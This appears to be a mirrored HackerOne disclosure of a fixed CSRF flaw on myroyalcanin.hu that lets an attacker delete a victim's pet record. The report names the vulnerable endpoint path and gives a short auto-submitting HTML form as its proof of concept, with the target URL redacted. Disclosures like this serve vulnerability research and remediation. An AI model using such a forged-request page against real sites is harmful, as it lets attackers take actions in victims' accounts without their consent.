CSRF to delete a pet
- Triaged in 2 days
- Fixed in 11 days
- Disclosed after 2 months
Summary by the program
A vulnerability was reported where the ██████████ API endpoint at myroyalcanin.hu is vulnerable to Cross-Site Request Forgery (CSRF) attacks. This vulnerability allows an attacker to delete a pet from a victim's account without their knowledge or consent.
The report
Summary:
The /kisallataim/ANIMAL_ID/delete API endpoint at myroyalcanin.hu is vulnerable to Cross-Site Request Forgery attacks.
This vulnerability allows an attacker to delete a pet from the victim's account.
(Sorry for my English, I'm French)
Proof-of-Concept (PoC)
<html>
<body>
<form action="████">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
You have to replace ANIMAL_ID with the ID of the victim's pet you wish to delete.
Impact
An attacker can exploit this CSRF in order to delete the victim's pet.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity CSRF bug in *.myroyalcanin.hu, rated CVSS 5.0. HackerOne made it public on 30 August 2023.
About CSRF
Another site makes a signed-in user's browser perform an action they did not intend.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.